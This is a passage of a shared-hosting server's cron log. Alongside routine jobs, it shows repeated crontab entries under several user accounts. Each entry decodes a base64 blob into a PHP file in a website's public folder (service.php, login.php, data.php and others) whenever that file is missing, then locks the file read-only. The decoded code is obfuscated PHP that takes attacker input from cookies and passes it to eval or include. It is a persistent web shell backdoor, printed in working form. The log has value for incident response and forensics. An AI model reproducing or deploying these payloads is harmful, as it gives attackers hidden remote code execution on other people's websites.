V0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:47:01 medusa CROND[30739]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:47:01 medusa CROND[30745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:48:01 medusa CROND[22683]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:48:01 medusa CROND[22744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:48:01 medusa CROND[22745]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:48:01 medusa CROND[22746]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:48:01 medusa CROND[22747]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:48:01 medusa CROND[22748]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:48:01 medusa CROND[22752]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:48:01 medusa CROND[22754]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:48:01 medusa CROND[22756]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:48:01 medusa CROND[22757]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:48:01 medusa CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:48:01 medusa CROND[22749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:48:01 medusa CROND[22743]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:49:01 medusa CROND[14926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:49:01 medusa CROND[14927]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:49:01 medusa CROND[14928]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:49:01 medusa CROND[14929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:49:01 medusa CROND[14930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:49:01 medusa CROND[14931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:49:01 medusa CROND[14933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:49:01 medusa CROND[14937]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:49:01 medusa CROND[14938]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:49:01 medusa CROND[14944]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:49:01 medusa CROND[14956]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:49:01 medusa CROND[14957]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:50:01 medusa CROND[7218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:50:01 medusa CROND[7302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:50:01 medusa CROND[7356]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoM